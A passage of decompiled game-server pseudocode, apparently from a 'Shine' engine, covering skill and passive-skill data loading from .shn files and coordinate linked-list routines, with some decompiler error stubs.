!CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1343u, 0xDCu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0051BD10) -------------------------------------------------------- BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x280u); *(_WORD *)&v1[11].baseclass_0.m_sFileMD5.n8_name[24] = 0; v1[11].baseclass_0.m_sFileMD5.n8_name[26] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 704)); memset(&v1[12].baseclass_0.m_sFileMD5.n8_name[28], 0, 0x4Cu); LOWORD(v1[14].baseclass_0.m_nFileSize) = 0; return v1; } //----- (0051BD80) -------------------------------------------------------- void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 704)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0051BDD0) -------------------------------------------------------- void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; operator delete(&this->sdb_ValidArray->sdi_ServInf); SkillDataBox::__unnamed::___unnamed(v1); } //----- (0051BDF0) -------------------------------------------------------- void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 unsigned int v4; // eax@4 unsigned int v5; // edi@4 void *v6; // eax@6 unsigned int v7; // eax@8 void *v8; // eax@11 void *v9; // eax@13 unsigned int v10; // ebp@16 int v11; // edi@17 void *v12; // eax@19 SkillDataBox::SkillDataIndex *v13; // eax@24 SkillHitTp v14; // ecx@24 int v15; // eax@24 unsigned int v16; // edi@33 void *v17; // ebp@35 void *v18; // eax@38 unsigned __int16 v19; // ax@40 unsigned int v20; // ebx@45 int v21; // edi@46 void *v22; // ebp@48 char v23; // al@53 int v24; // ebp@53 char v25; // cl@57 void *v26; // eax@59 void *v27; // eax@65 unsigned int v28; // ebp@67 void *v29; // eax@70 unsigned int v30; // ebp@73 int v31; // edi@74 int v32; // ebx@76 int v33; // edi@77 int v34; // ecx@81 int v35; // eax@81 char v36; // dl@81 const char *v37; // eax@81 unsigned int v38; // eax@83 const void *v39; // edx@86 unsigned int v40; // ST08_4@86 SkillDataBox::SkillDataIndex *v41; // edx@86 unsigned int v42; // eax@91 unsigned int v43; // eax@94 unsigned int v44; // eax@97 unsigned int v45; // eax@100 unsigned int v46; // eax@103 unsigned int v47; // eax@106 int *inf; // [sp+14h] [bp-404h]@50 void *srv; // [sp+18h] [bp-400h]@51 char key; // [sp+20h] [bp-3F8h]@86 __int16 *v51; // [sp+24h] [bp-3F4h]@86 __int16 v52; // [sp+190h] [bp-288h]@86 v2 = this; BinaryDataBox::bdb_ReadData(&this->sdb_BinData.info, "../9Data/Shine/ActiveSkill.shn"); BinaryDataBox::bdb_ReadData( &v2->sdb_BinData.server.baseclass_0, "../9Data/Shine/ActiveSkillInfoServer.shn"); v3 = v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2->sdb_MaxValid = v3; if ( v3 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Error in record number", v2->sdb_MaxSkillHandle); ShineExit("SkillDataBox::sdb_Load"); } v4 = v2->sdb_MaxValid; v5 = 0; v2->sdb_MaxSkillHandle = 0; if ( v4 ) { do { if ( v5 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v5); else v6 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v7 = *(_WORD *)v6; if ( v2->sdb_MaxSkillHandle < v7 ) v2->sdb_MaxSkillHandle = v7; ++v5; } while ( v5 < v2->sdb_MaxValid ); } v8 = (void *)v2->sdb_ValidArray; ++v2->sdb_MaxSkillHandle; if ( v8 ) { operator delete__(v8); v2->sdb_ValidArray = 0; } v9 = operator new__(368 * v2->sdb_MaxValid); v2->sdb_ValidArray = (SkillDataBox::SkillDataIndex *)v9; if ( v9 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Memory leak", 0); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ActivSkillNum = v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v10 = 0; if ( v2->sdb_MaxValid ) { v11 = 0; do { if ( v10 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v10); else v12 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v2->sdb_ValidArray[v11].sdi_ServInf = (ActiveSkillInfoServer *)v12; v2->sdb_ValidArray[v11].sdi_Activ = 0; v2->sdb_ValidArray[v11].sdi_NextSkill = 0; v2->sdb_ValidArray[v11].sdi_PrevSkill = 0; if ( v2->sdb_ValidArray[v11].sdi_ServInf == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : No server data", 0); ShineExit("SkillDataBox::sdb_Load"); } v13 = v2->sdb_ValidArray; v14 = v13[v11].sdi_ServInf->SkillHitType; v15 = (int)&v13[v11]; switch ( v14 ) { case 0: *(_DWORD *)(v15 + 64) = &roe_physical; break; case 1: *(_DWORD *)(v15 + 64) = &roe_magical; break; case 2: case 5: *(_DWORD *)(v15 + 64) = &roe_always; break; case 3: case 4: *(_DWORD *)(v15 + 64) = &roe_cure; break; default: AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load", 0); ShineExit("SkillDataBox::sdb_Load"); return; } ++v10; ++v11; } while ( v10 < v2->sdb_MaxValid ); } if ( v2->sdb_ActivSkillNum != v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Number mismatch", 0); v16 = 0; if ( v2->sdb_MaxValid ) { do { if ( v16 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v16); else v17 = &v2->sdb_BinData.info.bdb_defaultblock; if ( v16 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v16); else v18 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v19 = *(_WORD *)v18; if ( *(_WORD *)v17 != v19 ) { AssertClass::ac_AssertFail(&shineassert, "Error in", *(_WORD *)v17, v19); ShineExit("SkillDataBox::sdb_Load"); } ++v16; } while ( v16 < v2->sdb_MaxValid ); } ShineExit("SkillDataBox::sdb_Load"); } v20 = 0; if ( v2->sdb_MaxValid ) { v21 = 0; do { if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v22 = &v2->sdb_BinData.info.bdb_defaultblock; inf = (int *)v22; if ( v20 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) srv = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v20); else srv = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v23 = *((_BYTE *)v22 + 2); v24 = (int)((char *)v22 + 2); if ( v23 ) { do { if ( *(_BYTE *)v24 != *(_BYTE *)(srv - inf + v24) ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Index not match", *(_WORD *)inf, *(_WORD *)srv); ShineExit("SkillDataBox::sdb_Load"); } v25 = *(_BYTE *)(v24++ + 1); } while ( v25 ); } if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v26 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v26 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v21].sdi_Activ = (ActiveSkillInfo *)v26; if ( v2->sdb_ValidArray[v21].sdi_Activ->ID != v2->sdb_ValidArray[v21].sdi_ServInf->ID ) { AssertClass::ac_AssertFail(&shineassert, "SkillID Unsync", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v27 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v27 = &v2->sdb_BinData.info.bdb_defaultblock; v28 = 10 * *((_DWORD *)v27 + 42) / 0x64u; if ( (signed int)v28 < 50 ) v28 = 50; if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v29 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v29 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v21].sdi_AttackDist = v28 + *((_DWORD *)v29 + 42); SkillDataBox::SkillDataIndex::sdi_Clear(&v2->sdb_ValidArray[v21]); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexA, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueA); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexB, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueB); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexC, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueC); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexD, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueD); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexE, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueE); ++v20; ++v21; } while ( v20 < v2->sdb_MaxValid ); } v30 = 0; if ( v2->sdb_MaxValid ) { v31 = 0; do { SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 0, v2->sdb_ValidArray[v31].sdi_Activ->StaNameA, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthA, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateA); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 1, v2->sdb_ValidArray[v31].sdi_Activ->StaNameB, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthB, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateB); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 2, v2->sdb_ValidArray[v31].sdi_Activ->StaNameC, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthC, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateC); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 3, v2->sdb_ValidArray[v31].sdi_Activ->StaNameD, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthD, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateD); skillbtreeunion = v2->sdb_ValidArray[v31].sdi_ServInf->ID; *((_BYTE *)&skillbtreeunion + 2) = 0; BTree::bt_Insert(&skillnametree, v2->sdb_ValidArray[v31].sdi_ServInf->InxName, *(unsigned int *)&skillbtreeunion); ++v30; ++v31; } while ( v30 < v2->sdb_MaxValid ); } qsort(&v2->sdb_ValidArray->sdi_ServInf, v2->sdb_MaxValid, 0x170u, SkillDataBox::sdb_compare); v32 = 0; if ( v2->sdb_MaxValid ) { v33 = 0; do { if ( !v2->sdb_ValidArray[v33].sdi_Activ ) { AssertClass::ac_AssertFail(&shineassert, "Null skll", v32); ShineExit("SkillDataBox::sdb_Load"); } v34 = (int)&v2->sdb_ValidArray[v33]; v35 = *(_DWORD *)(v34 + 4); v36 = *(_BYTE *)(v35 + 114); v37 = (const char *)(v35 + 114); if ( v36 == 45 ) { *(_DWORD *)(v34 + 8) = 0; } else { v38 = BTree::operator__(&skillnametree, v37); if ( v38 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", v2->sdb_ValidArray[v33].sdi_Activ->DemandSk); ShineExit("SkillDataBox::sdb_Load"); } v39 = v2->sdb_ValidArray; v40 = v2->sdb_MaxValid; v51 = &v52; v52 = v38; v2->sdb_ValidArray[v33].sdi_PrevSkill = (SkillDataBox::SkillDataIndex *)bsearch( &key, v39, v40, 0x170u, SkillDataBox::sdb_compare); v41 = v2->sdb_ValidArray; if ( !v41[v33].sdi_PrevSkill ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", v41[v33].sdi_Activ->DemandSk); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ValidArray[v33].sdi_PrevSkill->sdi_NextSkill = &v2->sdb_ValidArray[v33]; } ++v32; ++v33; } while ( v32 < v2->sdb_MaxValid ); } v42 = BTree::operator__(&skillnametree, "ProducePotion"); if ( v42 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProducePotion"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_PortionProductMain = v42; v43 = BTree::operator__(&skillnametree, "ProduceScroll"); if ( v43 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceScroll"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ScrollProductMain = v43; v44 = BTree::operator__(&skillnametree, "ProduceSton"); if ( v44 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceSton"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_StoneProductMain = v44; v45 = BTree::operator__(&skillnametree, "ProduceResolve"); if ( v45 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceResolve"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ResolveProductMain = v45; v46 = BTree::operator__(&skillnametree, "ProduceCompound"); if ( v46 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceCompound"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_CompoundProductMain = v46; v47 = BTree::operator__(&skillnametree, "SummonMate01"); if ( v47 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "SummonMate01"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_SummonMate = v47; } //----- (0051C740) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = this; v3 = BTree::operator__(&skillnametree, pkName); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::GetSkillIndexByName : Invalid Skill", pkName); result = 0; } else { result = SkillDataBox::operator__(v2, v3); } return result; } //----- (0051C790) -------------------------------------------------------- void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this) { PassiveDataBox *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->pdb_databox; CCharacterTitleData::CCharacterTitleData(&this->pdb_databox.baseclass_0); memset(v2 + 60, 0, 0xDCu); v1->pdb_default = &v1->pdb_databox.bdb_defaultblock; v1->pdb_databox.bdb_defaultblock.ID = -1; v1->pdb_index = 0; v1->pdb_databox.bdb_defaultblock.Name[0] = 0; v1->pdb_databox.bdb_defaultblock.InxName[0] = 0; v1->pdb_databox.bdb_defaultblock.MstPlStaff2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlWand2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlCrossBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlMace1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlAxe2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlHammer1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword1 = 0; v1->pdb_databox.bdb_defaultblock.SPRecover = 0; v1->pdb_databox.bdb_defaultblock.TB = 0; v1->pdb_databox.bdb_defaultblock.Intel = 0; v1->pdb_databox.bdb_defaultblock.CastingTime = 0; v1->pdb_databox.bdb_defaultblock.MstRtStaff2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtWand2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtCrossBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtMace1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtAxe2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtHammer1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword1 = 1000; } //----- (0051C850) -------------------------------------------------------- void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world) { PassiveDataBox *v2; // esi@1 char *v3; // ebx@1 unsigned int v4; // ebp@1 int v5; // eax@1 unsigned int v6; // edi@1 void *v7; // eax@3 void *v8; // eax@7 unsigned int v9; // ST04_4@11 void *v10; // eax@11 int i; // eax@14 void *v12; // eax@18 int v13; // edi@20 void *v14; // eax@24 unsigned int v15; // eax@27 v2 = this; v3 = (char *)&this->pdb_databox; BinaryDataBox::bdb_ReadData(&this->pdb_databox, "../9Data/Shine/PassiveSkill.shn"); v4 = 0; v5 = v2->pdb_databox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v2->pdb_passivenumber = v5; v2->pdb_maxpassiveID = 0; if ( v5 > 0 ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v3, v6); else v7 = v3 + 60; if ( v2->pdb_maxpassiveID < *(_WORD *)v7 ) { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v6); else v8 = v3 + 60; v2->pdb_maxpassiveID = *(_WORD *)v8; } ++v6; } while ( (signed int)v6 < v2->pdb_passivenumber ); } v9 = 4 * (v2->pdb_maxpassiveID++ + 1); v10 = operator new__(v9); v2->pdb_index = (PassiveSkillInfo **)v10; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Fail to alloc memory", 0); ShineExit("PassiveDataBox::pdb_Load"); } for ( i = 0; i < v2->pdb_maxpassiveID; ++i ) v2->pdb_index[i] = &v2->pdb_databox.bdb_defaultblock; if ( v2->pdb_passivenumber > 0 ) { do { if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v12 = CDataReader::GetRecord((CDataReader *)v3, v4); else v12 = v3 + 60; v13 = *(_WORD *)v12; if ( v2->pdb_index[v13] != &v2->pdb_databox.bdb_defaultblock ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Dublicate id", v13); ShineExit("PassiveDataBox::pdb_Load"); } if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v14 = CDataReader::GetRecord((CDataReader *)v3, v4); else v14 = v3 + 60; v2->pdb_index[v13] = (PassiveSkillInfo *)v14; v2->pdb_index[v13]->MstPlTmp = 0; v2->pdb_index[v13]->MstRtTmp = 1000; skillbtreeunion = v2->pdb_index[v13]->ID; *((_BYTE *)&skillbtreeunion + 2) = 1; BTree::bt_Insert(&skillnametree, v2->pdb_index[v13]->InxName, *(unsigned int *)&skillbtreeunion); ++v4; } while ( (signed int)v4 < v2->pdb_passivenumber ); } v15 = BTree::operator__(&skillnametree, "PowerofLove01"); if ( v15 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::sdb_MakeSpecialSkill : Invalid Skill", "PowerofLove01"); ShineExit("PassiveDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_PowerOfLove = v15; } //----- (0051CA80) -------------------------------------------------------- PassiveSkillInfo *__thiscall PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 PassiveSkillInfo *result; // eax@3 if ( *sub >= this->pdb_passivenumber ) { result = this->pdb_default; } else { v2 = this->pdb_databox.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->pdb_databox; if ( *sub < v2->nNumOfRecord ) result = (PassiveSkillInfo *)CDataReader::GetRecord((CDataReader *)v3, *sub); else result = (PassiveSkillInfo *)(v3 + 60); } return result; } //----- (0051CAB0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this) { SkillDataBox *v1; // esi@1 v1 = this; SkillDataBox::__unnamed::__unnamed(&this->sdb_BinData.info.baseclass_0); v1->sdb_ValidArray = 0; } //----- (0051CAD0) -------------------------------------------------------- char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, SlantedCoordList::CoordedNode *b) { SlantedCoordList::ObjectCoordNode *v2; // esi@1 int v3; // edi@1 v2 = b->cn_node; v3 = ((int (*)(void))a->cn_node->vfptr->ocn_Getlocation)(); return v3 - v2->vfptr->ocn_Getlocation(v2) < 0; } //----- (0051CB00) -------------------------------------------------------- #error "51CB00: undefined or illegal type '#325' (funcsize=4)" //----- (0051CB10) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this) { return 88; } //----- (0051CB20) -------------------------------------------------------- #error "51CB20: undefined or illegal type '#325' (funcsize=4)" //----- (0051CB30) -------------------------------------------------------- void __thiscall NPCAction::DieAction::_DieAction(SlantedCoordList::ObjectYCoordNode *this) { this->baseclass_0.vfptr = (SlantedCoordList::ObjectCoordNodeVtbl *)NPCAction::IAction::_vftable_; } // 5DAF1C: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (0051CB40) -------------------------------------------------------- #error "51CB40: undefined or illegal type '#325' (funcsize=4)" //----- (0051CB50) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this) { return 89; } //----- (0051CB60) -------------------------------------------------------- #error "51CB60: undefined or illegal type '#325' (funcsize=4)" //----- (0051CB70) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // eax@1 v1 = this; this->cn_node = 0; v1->cn_next = v1; v1->cn_prev = v1; } //----- (0051CB80) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist) { SlantedCoordList::CoordedNode *v2; // ebx@1 SlantedCoordList::CoordedNode *v3; // esi@1 SlantedCoordList::ObjectCoordNodeVtbl *v4; // edx@1 SlantedCoordList::ObjectCoordNode *v5; // edi@1 SlantedCoordList::ObjectCoordNodeVtbl *v6; // eax@9 SlantedCoordList::ObjectCoordNode *v7; // edi@9 int v8; // ebp@9 int v9; // eax@9 SlantedCoordList::ObjectCoordNodeVtbl *v10; // edx@9 SlantedCoordList::CoordedNode *v11; // eax@11 SlantedCoordList::ObjectCoordNode *v12; // edi@12 int v13; // eax@12 SlantedCoordList::ObjectCoordNodeVtbl *v14; // edx@12 SlantedCoordList::CoordedNode *v15; // edi@14 SlantedCoordList::ObjectCoordNode *v16; // ebp@14 int v17; // eax@14 SlantedCoordList::ObjectCoordNodeVtbl *v18; // edx@14 SlantedCoordList::CoordedNode *v19; // eax@16 SlantedCoordList::ObjectCoordNodeVtbl *v20; // eax@20 SlantedCoordList::ObjectCoordNode *v21; // ebp@20 int v22; // eax@20 SlantedCoordList::ObjectCoordNodeVtbl *v23; // edx@20 int v24; // eax@23 int v26; // eax@34 FunctionEntarance *v27; // ecx@40 char v28; // al@42 FunctionEntarance _; // [sp+0h] [bp-1Ch]@1 int prv; // [sp+4h] [bp-18h]@9 int nxt; // [sp+8h] [bp-14h]@9 int v32; // [sp+Ch] [bp-10h]@9 int v33; // [sp+18h] [bp-4h]@1 int chainlistc; // [sp+20h] [bp+4h]@1 signed int chainlista; // [sp+20h] [bp+4h]@9 signed int chainlistb; // [sp+20h] [bp+4h]@14 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_AppendList"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_AppendList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chainlist; v4 = chainlist->cn_node->vfptr; v5 = v2->cn_node; v33 = 0; chainlistc = ((int (*)(void))v4->ocn_type)(); if ( v5->vfptr->ocn_type(v5) != chainlistc ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : List between wrong type", 0); v33 = -1; LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); return 0; } if ( v2->cn_prev != v2 || v2->cn_next != v2 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink on object in list", 0); v33 = -1; goto LABEL_27; } if ( v3->cn_prev == v3 && v3->cn_next == v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink to not in list", 0); v33 = -1; goto LABEL_27; } v6 = v3->cn_node->vfptr; v7 = v2->cn_node; v8 = 0; nxt = 0; prv = 0; chainlista = 10000; v9 = ((int (*)(void))v6->ocn_Getlocation)(); v10 = v7->vfptr; v32 = v9; if ( v9 - v10->ocn_Getlocation(v7) > 0 ) { while ( 1 ) { --chainlista; if ( chainlista < 0 ) break; v11 = v3->cn_prev; if ( v3 == v11 ) { prv = v8; AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_26; } v12 = v2->cn_node; v3 = v3->cn_prev; ++v8; v13 = ((int (*)(void))v11->cn_node->vfptr->ocn_Getlocation)(); v14 = v12->vfptr; v32 = v13; if ( v13 - v14->ocn_Getlocation(v12) <= 0 ) { prv = v8; goto LABEL_14; } } prv = v8; LABEL_26: v33 = -1; goto LABEL_27; } LABEL_14: v15 = v3->cn_next; v16 = v15->cn_node; chainlistb = 10000; v17 = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); v18 = v16->vfptr; v32 = v17; if ( v17 - v18->ocn_Getlocation(v16) > 0 ) { do { --chainlistb; if ( chainlistb < 0 ) goto LABEL_40; v19 = v15->cn_next; if ( v15 == v19 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_40; } v3 = v3->cn_next; v15 = v15->cn_next; if ( v3->cn_next != v19 || v19->cn_prev != v3 ) AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : Next & Prev split", 0); v20 = v2->cn_node->vfptr; ++nxt; v21 = v15->cn_node; v22 = ((int (*)(void))v20->ocn_Getlocation)(); v23 = v21->vfptr; v32 = v22; } while ( v22 - v23->ocn_Getlocation(v21) > 0 ); } v24 = !prv || !nxt; if ( AssertClass::operator__(&shineassert, v24, "CoordedNode::cn_AppendList : Pointer is wandering", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v3) || (v3->cn_next != v15 || v15->cn_prev != v3 ? (v26 = 0) : (v26 = 1), AssertClass::operator__(&shineassert, v26, "SlantedCoordList::CoordedNode::cn_AppendList : List damaged", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v15) || (v2->cn_prev = v3, v2->cn_next = v15, v15->cn_prev = v2, v3->cn_next = v2, !SlantedCoordList::CoordedNode::cn_IsValid(v3)) || !SlantedCoordList::CoordedNode::cn_IsValid(v2)) ) { LABEL_40: v33 = -1; v27 = &_; LABEL_41: FunctionEntarance::_FunctionEntarance(v27); return 0; } v28 = SlantedCoordList::CoordedNode::cn_IsValid(v15); v27 = &_; v33 = -1; if ( !v28 ) goto 